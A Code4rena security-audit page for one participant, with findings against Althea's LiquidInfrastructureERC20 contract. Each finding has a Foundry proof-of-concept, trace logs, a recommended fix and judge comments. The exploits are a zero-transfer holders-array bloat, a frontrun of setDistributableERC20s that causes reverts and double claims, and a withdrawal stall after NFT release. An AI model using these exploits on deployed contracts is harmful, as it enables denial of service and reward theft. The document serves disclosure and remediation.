Platform: Code4rena
Start Date: 13/02/2024
Pot Size: $24,500 USDC
Total HM: 5
Participants: 84
Period: 6 days
Judge: 0xA5DF
Id: 331
League: ETH
Rank: 12/84
Findings: 3
Award: $282.74
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
_beforeTokenTransfer
block pushes zero address into holders array, so each time there is a burn, the zero address is pushed into holders array, increasing its size._afterTokenTransfer
which loops all the holders.function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { bool stillHolding = (this.balanceOf(from) != 0); if (!stillHolding) { for (uint i = 0; i < holders.length; i++) { if (holders[i] == from) { // Remove the element at i by copying the last one into its place and removing the last element holders[i] = holders[holders.length - 1]; holders.pop(); } } } }
NA
Manual review + foundry testing
function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { - bool stillHolding = (this.balanceOf(from) != 0); - if (!stillHolding) { - for (uint i = 0; i < holders.length; i++) { - if (holders[i] == from) { - // Remove the element at i by copying the last one into its place and removing the last element - holders[i] = holders[holders.length - 1]; - holders.pop(); - } - } } } + function removeZeroHolders() public { + require(!_isPastMinDistributionPeriod(), "only just after distribution"); + for (uint i = 0; i < holders.length; i++) { + if (this.balanceOf(holders[i]) == 0) { + // Remove the element at i by copying the last one into its place and removing the last element + holders[i] = holders[holders.length - 1]; + holders.pop(); + } + } + }
Error
#0 - c4-pre-sort
2024-02-21T03:54:14Z
0xRobocop marked the issue as duplicate of #77
#1 - c4-judge
2024-03-04T13:15:25Z
0xA5DF marked the issue as satisfactory
#2 - c4-judge
2024-03-08T15:08:03Z
0xA5DF changed the severity to 3 (High Risk)
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
The impact will be due to due to huge holders array,
Code from LiquidInfrastructureERC20::_beforeTokenTransfer
function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { require(!LockedForDistribution, "distribution in progress"); if (!(to == address(0))) { require( isApprovedHolder(to), "receiver not approved to hold the token" ); } if (from == address(0) || to == address(0)) { _beforeMintOrBurn(); } @---> bool exists = (this.balanceOf(to) != 0); if (!exists) { @---> holders.push(to); } }
The LiquidInfrastructureERC20::_beforeTokenTransfer pushes the holder address into holders
array if the to
address doesn't have a balance. So some atatcker can with zero tokens and is also not an approved holder, hec an transfer zero tokens to some approved holder with zero token balance. And he can repeatedly make zero transfers which will again push the same to
address into holders array. So, in this way, holders array can be made huge and can cause any action that is involving holders
array will make OOG revert.
To make this attack possible, the approved holder should have zero token balance. When the admin/owner approves an holder, but did not mint yet, so that holder will have 0 balance. Also, after minting that holder can transfer all tokens to another holder or can burn all, sop now again 0 balance approved holder. This holder can be chosen as to addresss and an attacker can make zero transfers.
[PASS] test_POC() (gas: 7585369) Logs: holders length BEFORE 1 holders length AFTER 5 ├─ [317] LiquidInfrastructureERC20::holdersLength() [staticcall] │ └─ ← 1 ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000015686f6c64657273206c656e677468204245464f52450000000000000000000000) [staticcall] │ └─ ← () ├─ [33508] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0) │ ├─ [2613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall] │ │ └─ ← 0 │ ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0) │ ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] │ │ └─ ← 0 │ └─ ← true ├─ [30073] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0) │ ├─ [613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall] │ │ └─ ← 0 │ ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0) │ ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] │ │ └─ ← 0 │ └─ ← true ├─ [30638] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0) │ ├─ [613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall] │ │ └─ ← 0 │ ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0) │ ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] │ │ └─ ← 0 │ └─ ← true ├─ [31203] LiquidInfrastructureERC20::transfer(0x0000000000000000000000000000000000000002, 0) │ ├─ [613] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall] │ │ └─ ← 0 │ ├─ emit Transfer(from: AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000002, value: 0) │ ├─ [613] LiquidInfrastructureERC20::balanceOf(AltheaTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall] │ │ └─ ← 0 │ └─ ← true ├─ [317] LiquidInfrastructureERC20::holdersLength() [staticcall] │ └─ ← 5
forge init --force
then run forge i openzeppelin/openzeppelin-contracts@v4.3.1
and modify foundry.toml
file into below[profile.default] - src = "contracts" + src = "src" out = "out" libs = ["lib"]
function holdersLength() public view returns(uint){ return holders.length; }
test/Test.t.sol
and run forge t --mt test_POC -vvvv
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.12; import "forge-std/Test.sol"; import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol"; import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AltheaTest is Test { function setUp() public {} function test_POC() public { // setup LiquidInfrastructureNFT nft1 = new LiquidInfrastructureNFT("LP1"); LiquidInfrastructureNFT nft2 = new LiquidInfrastructureNFT("LP2"); address[] memory newErc20s = new address[](2); uint256[] memory newAmounts = new uint[](2); MockERC DAI = new MockERC("DAI", "DAI", 18); MockERC USDC = new MockERC("USDC", "USDC", 6); string memory _name = "LP"; string memory _symbol = "LP"; uint256 _minDistributionPeriod = 5; address[] memory _managedNFTs = new address[](2); address[] memory _approvedHolders = new address[](2); address[] memory _distributableErc20s = new address[](2); _managedNFTs[0] = address(nft1); _managedNFTs[1] = address(nft2); _approvedHolders[0] = address(1); _approvedHolders[1] = address(2); _distributableErc20s[0] = address(DAI); _distributableErc20s[1] = address(USDC); newErc20s[0] = address(DAI); newErc20s[1] = address(USDC); nft1.setThresholds(newErc20s, newAmounts); nft2.setThresholds(newErc20s, newAmounts); LiquidInfrastructureERC20 erc = new LiquidInfrastructureERC20( _name, _symbol, _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s); erc.mint(address(1), 1000e18); deal(address(DAI), address(erc), 100e18); deal(address(USDC), address(erc), 100e6); vm.roll(block.number + 100); console.log("holders length BEFORE", erc.holdersLength()); // add a holders call length public function for POC to work erc.transfer(address(2), 0); erc.transfer(address(2), 0); erc.transfer(address(2), 0); erc.transfer(address(2), 0); console.log("holders length AFTER", erc.holdersLength()); } } contract MockERC is ERC20 { uint8 immutable DECIMALS; constructor(string memory name, string memory symbol, uint8 _decimals) ERC20(name, symbol) { DECIMALS = _decimals; } function decimals() public view virtual override returns (uint8) { return DECIMALS; } }
Manual review + foundry testing
Modify LiquidInfrastructureERC20::_beforeTokenTransfer to add an holder into array only if transfer amount is > 0. Or just block zero transfers.
function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { require(!LockedForDistribution, "distribution in progress"); if (!(to == address(0))) { require( isApprovedHolder(to), "receiver not approved to hold the token" ); } if (from == address(0) || to == address(0)) { _beforeMintOrBurn(); } bool exists = (this.balanceOf(to) != 0); - if (!exists) { + if (!exists && amount > 0) { holders.push(to); } }
Token-Transfer
#0 - c4-pre-sort
2024-02-22T06:47:54Z
0xRobocop marked the issue as duplicate of #77
#1 - c4-judge
2024-03-04T13:23:48Z
0xA5DF marked the issue as satisfactory
🌟 Selected for report: nuthan2x
Also found by: 0x0bserver, AM, CaeraDenoir, DanielArmstrong, JrNet, Kirkeelee, KmanOfficial, Krace, Limbooo, Meera, SovaSlava, SpicyMeatball, TheSavageTeddy, agadzhalov, aslanbek, atoko, csanuragjain, d3e4, imare, jesjupyter, juancito, kartik_giri_47538, kutugu, max10afternoon, offside0011, pkqs90, turvy_fuzz, xchen1130, zhaojohnson, ziyou-
33.4472 USDC - $33.45
https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L222
Double claim, DOS by bricking distribution, few holders can lose some rewards due to missing validation of distribution timing when owner calling LiquidInfrastructureERC20::setDistributableERC20s.
function setDistributableERC20s( address[] memory _distributableERC20s ) public onlyOwner { distributableERC20s = _distributableERC20s; }
This issue will be impact on following ways :
when a new token is accepted by any nft it should be added as a desirable token, or a new managerNFT with a new token, then also LiquidInfrastructureERC20::setDistributableERC20s has to be called to distribute the rewards. so when owner calls LiquidInfrastructureERC20::setDistributableERC20s which adds a new token as desired token,
erc20EntitlementPerUnit
is now changed
- Now the actual owner tx is processed, which increases/decreases the size of distributableERC20s
array.
- But now distribution is not possible because the Out of Bound revert on the distribution function because distributableERC20s
array is changed, but erc20EntitlementPerUnit
array size is same before the distributableERC20s
array is modified.for (uint j = 0; j < distributableERC20s.length; j++) { uint256 entitlement = erc20EntitlementPerUnit[j] * this.balanceOf(recipient); if (IERC20(distributableERC20s[j]).transfer(recipient, entitlement)) { receipts[j] = entitlement; } }
Double claim by a holder: so some holder can DOS by - A last holder of the 10 holders array frontrun this owner tx (setDistributableERC20s) and calls LiquidInfrastructureERC20::distribute with 90% of the holders count as params, so all the rewards of old desirable tokens will be distributed to 9 holders. - Now after the owners action, backrun it to distribute to the last holder, which will also receive new token as rewards. - The previous holders can also claim their share in the next distribution round, but the last holder also can claim which makes double claim possible, which takes a cut from all other holders.
if owner calls LiquidInfrastructureERC20::setDistributableERC20s which removes some token, then any token balance in the contract will be lost until the owner re-adds the token, and it can be distributed again.
Index out of bounds
├─ [24677] LiquidInfrastructureERC20::distribute(1) │ ├─ [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall] │ │ └─ ← 100000000000000000000 [1e20] │ ├─ [20123] ERC20::transfer(0x0000000000000000000000000000000000000002, 500000000000000000000 [5e20]) │ │ ├─ emit Transfer(from: LiquidInfrastructureERC20: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: 0x0000000000000000000000000000000000000002, value: 500000000000000000000 [5e20]) │ │ └─ ← true │ ├─ [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall] │ │ └─ ← 100000000000000000000 [1e20] │ └─ ← "Index out of bounds" └─ ← "Index out of bounds"
forge init --force
then run forge i openzeppelin/openzeppelin-contracts@v4.3.1
and modify foundry.toml
file into below[profile.default] - src = "contracts" + src = "src" out = "out" libs = ["lib"]
test/Test.t.sol
and run forge t --mt test_POC -vvvv
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.12; import {Test, console2} from "forge-std/Test.sol"; import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol"; import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AltheaTest is Test { function setUp() public {} function test_POC() public { // setup LiquidInfrastructureNFT nft = new LiquidInfrastructureNFT("LP"); address[] memory newErc20s = new address[](1); uint256[] memory newAmounts = new uint[](1); ERC20 DAI = new ERC20("DAI", "DAI"); ERC20 USDC = new ERC20("USDC", "USDC"); string memory _name = "LP"; string memory _symbol = "LP"; uint256 _minDistributionPeriod = 5; address[] memory _managedNFTs = new address[](1); address[] memory _approvedHolders = new address[](2); address[] memory _distributableErc20s = new address[](1); _managedNFTs[0] = address(nft); _approvedHolders[0] = address(1); _approvedHolders[1] = address(2); _distributableErc20s[0] = address(DAI); newErc20s[0] = address(DAI); nft.setThresholds(newErc20s, newAmounts); LiquidInfrastructureERC20 erc = new LiquidInfrastructureERC20( _name, _symbol, _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s); erc.mint(address(1), 100e18); erc.mint(address(2), 100e18); // issue == change in desirable erc20s _distributableErc20s = new address[](2); _distributableErc20s[0] = address(DAI); _distributableErc20s[1] = address(USDC); newAmounts = new uint[](2); newErc20s = new address[](2); newErc20s[0] = address(DAI); newErc20s[1] = address(USDC); nft.setThresholds(newErc20s, newAmounts); deal(address(DAI), address(erc), 1000e18); deal(address(USDC), address(erc), 1000e18); vm.roll(block.number + 100); // frontrun tx erc.distribute(1); // victim tx erc.setDistributableERC20s(_distributableErc20s); // backrun tx vm.roll(block.number + _minDistributionPeriod); vm.expectRevert(); // Index out of bounds erc.distribute(1); } }
Manual review + foundry testing
Modify LiquidInfrastructureERC20::setDistributableERC20s to only change the desirable tokens after a potential distribution for fair reward sharing.
function setDistributableERC20s( address[] memory _distributableERC20s ) public onlyOwner { + require(!_isPastMinDistributionPeriod(), "set only just after distribution"); distributableERC20s = _distributableERC20s; }
DoS
#0 - c4-pre-sort
2024-02-20T04:23:12Z
0xRobocop marked the issue as duplicate of #151
#1 - c4-pre-sort
2024-02-20T04:38:26Z
0xRobocop marked the issue as duplicate of #260
#2 - c4-judge
2024-03-04T15:10:04Z
0xA5DF marked the issue as satisfactory
#3 - c4-judge
2024-03-04T15:10:51Z
0xA5DF marked the issue as selected for report
#4 - 0xA5DF
2024-03-08T15:26:11Z
Changing to med since setDistributableERC20s()
is a function rarely called, and this would only be relevant if we're after min distribution period has passed since the last distribution.
#5 - c4-judge
2024-03-08T15:26:20Z
0xA5DF changed the severity to 2 (Med Risk)
#6 - mcgrathcoutinho
2024-03-08T19:21:59Z
Hi @0xA5DF, I think this issue should be invalid.
This issue arises solely due to owner misbehaviour/error, which is a centralization risk and should be included in analysis reports. Changing the configuration of distributable ERC20 tokens in the middle of the distribution period is the owner's fault and not expected behaviour.
Please consider re-evaluating this issue, thank you.
#7 - 0xA5DF
2024-03-09T07:57:47Z
The submission talks about a scenario where the owner sent out the tx when there was no distribution going on and a malicious actor front runs it. This is a likely scenario and isn't due to an error on the admin side (the admin can prevent this by running distribution first, but there's no way for the average admin to guess that running this tx without distributing first would cause any issues). Therefore I'm maintaining med severity.
🌟 Selected for report: SpicyMeatball
Also found by: BowTiedOriole, Breeje, CaeraDenoir, JohnSmith, Krace, Meera, PumpkingWok, SovaSlava, SpicyMeatball, d3e4, juancito, kutugu, nuthan2x, rokinot, rouhsamad, web3pwn
242.1143 USDC - $242.11
https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L413 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L359
The impact of this issue is, the last nft's tokens cannot be withdrawn into LiquidInfrastructureERC20 during current transaction, and someone have to make another transaction to withdraw tokens from left out nfts managed The worst outcome is the withdrawals from managed nfts can be temporarily bricked, if owner decides to release more than 1 nfts.
function withdrawFromManagedNFTs(uint256 numWithdrawals) public { require(!LockedForDistribution, "cannot withdraw during distribution"); ------------------------------ skimmed ------------------------------- nextWithdrawal = i; @---> if (nextWithdrawal == ManagedNFTs.length) { nextWithdrawal = 0; emit WithdrawalFinished(); } }
Attack scenario lets assume there are 4 nfts managed
LiquidInfrastructureERC20
contract decides to release first nft by calling LiquidInfrastructureERC20::releaseManagedNFTLiquidInfrastructureERC20
if (nextWithdrawal == ManagedNFTs.length)
will not pass (look at the code snippet above), which wont end the withdrawal, no matter what you do, except we have to wait until owner adds further nfts to manage. This is a high severe prolonged temporary DOS.This can be countered by adding validation to check if all nfts are withdrawn before releasing nfts, i.e to check if withdraw next index == 0
.
[PASS] test_POC() (gas: 8750947) Logs: -------- before first withdrawFromManagedNFTs is done -------- USDC.balanceOf(address(nft1)): before 100000000000000000000 USDC.balanceOf(address(nft2)): before 100000000000000000000 USDC.balanceOf(address(nft3)): before 100000000000000000000 -------- after first withdrawFromManagedNFTs is done -------- USDC.balanceOf(address(nft1)): before 0 USDC.balanceOf(address(nft2)): before 100000000000000000000 USDC.balanceOf(address(nft3)): before 100000000000000000000 -------- after removal of nft1 & all withdrawFromManagedNFTs is done -------- USDC.balanceOf(address(nft1)): after 0 USDC.balanceOf(address(nft2)): after 0 USDC.balanceOf(address(nft3)): after 100000000000000000000
forge init --force
then run forge i openzeppelin/openzeppelin-contracts@v4.3.1
and modify foundry.toml
file into below[profile.default] - src = "contracts" + src = "src" out = "out" libs = ["lib"]
test/Test.t.sol
and run forge t --mt test_POC -vvvv
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.12; import "forge-std/Test.sol"; import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol"; import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AltheaTest is Test { function setUp() public {} function test_POC() public { // setup LiquidInfrastructureNFT nft1 = new LiquidInfrastructureNFT("LP1"); LiquidInfrastructureNFT nft2 = new LiquidInfrastructureNFT("LP2"); LiquidInfrastructureNFT nft3 = new LiquidInfrastructureNFT("LP3"); address[] memory newErc20s = new address[](1); uint256[] memory newAmounts = new uint[](1); MockERC USDC = new MockERC("USDC", "USDC", 6); uint256 _minDistributionPeriod = 5; address[] memory _managedNFTs = new address[](3); address[] memory _approvedHolders = new address[](2); address[] memory _distributableErc20s = new address[](1); _managedNFTs[0] = address(nft1); _managedNFTs[1] = address(nft2); _managedNFTs[2] = address(nft3); _approvedHolders[0] = address(1); _approvedHolders[1] = address(2); _distributableErc20s[0] = address(USDC); newErc20s[0] = address(USDC); nft1.setThresholds(newErc20s, newAmounts); nft2.setThresholds(newErc20s, newAmounts); nft3.setThresholds(newErc20s, newAmounts); LiquidInfrastructureERC20 erc = new LiquidInfrastructureERC20( "LP", "LP", _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s); erc.mint(address(1), 1000e18); erc.mint(address(2), 1000e18); deal(address(USDC), address(nft1), 100e18); deal(address(USDC), address(nft2), 100e18); deal(address(USDC), address(nft3), 100e18); vm.roll(block.number + 100); nft1.transferFrom(address(this), address(erc), 1); nft2.transferFrom(address(this), address(erc), 1); nft3.transferFrom(address(this), address(erc), 1); vm.label(address(nft1), "nft-1"); vm.label(address(nft2), "nft-2"); vm.label(address(nft3), "nft-3"); console.log('-------- before first withdrawFromManagedNFTs is done --------'); console.log('USDC.balanceOf(address(nft1)): before', USDC.balanceOf(address(nft1))); console.log('USDC.balanceOf(address(nft2)): before', USDC.balanceOf(address(nft2))); console.log('USDC.balanceOf(address(nft3)): before', USDC.balanceOf(address(nft3))); // frontrun tx erc.withdrawFromManagedNFTs(1); console.log('-------- after first withdrawFromManagedNFTs is done --------'); console.log('USDC.balanceOf(address(nft1)): before', USDC.balanceOf(address(nft1))); console.log('USDC.balanceOf(address(nft2)): before', USDC.balanceOf(address(nft2))); console.log('USDC.balanceOf(address(nft3)): before', USDC.balanceOf(address(nft3))); // victim tx erc.releaseManagedNFT(address(nft1), address(this)); // DOS tx erc.withdrawFromManagedNFTs(100); assertEq(USDC.balanceOf(address(nft1)), 0); assertEq(USDC.balanceOf(address(nft2)), 0); assertEq(USDC.balanceOf(address(nft3)), 100e18); console.log('-------- after removal of nft1 & all withdrawFromManagedNFTs is done --------'); console.log('USDC.balanceOf(address(nft1)): after', USDC.balanceOf(address(nft1))); console.log('USDC.balanceOf(address(nft2)): after', USDC.balanceOf(address(nft2))); console.log('USDC.balanceOf(address(nft3)): after', USDC.balanceOf(address(nft3))); } } contract MockERC is ERC20 { uint8 immutable DECIMALS; constructor(string memory name, string memory symbol, uint8 _decimals) ERC20(name, symbol) { DECIMALS = _decimals; } function decimals() public view virtual override returns (uint8) { return DECIMALS; } }
Manual review + foundry testing
Modify LiquidInfrastructureERC20::releaseManagedNFT to release only if nextWithdrawal == 0
validating if tokens from all the managed nfts are withdrawn.
function releaseManagedNFT( address nftContract, address to ) public onlyOwner nonReentrant { + require(nextWithdrawal == 0, "pending withdrawals"); LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract); nft.transferFrom(address(this), to, nft.AccountId()); // Remove the released NFT from the collection for (uint i = 0; i < ManagedNFTs.length; i++) { address managed = ManagedNFTs[i]; if (managed == nftContract) { // Delete by copying in the last element and then pop the end ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1]; ManagedNFTs.pop(); break; } } // By this point the NFT should have been found and removed from ManagedNFTs require(true, "unable to find released NFT in ManagedNFTs"); emit ReleaseManagedNFT(nftContract, to); }
DoS
#0 - c4-pre-sort
2024-02-22T07:50:09Z
0xRobocop marked the issue as duplicate of #130
#1 - c4-judge
2024-03-03T13:05:23Z
0xA5DF marked the issue as satisfactory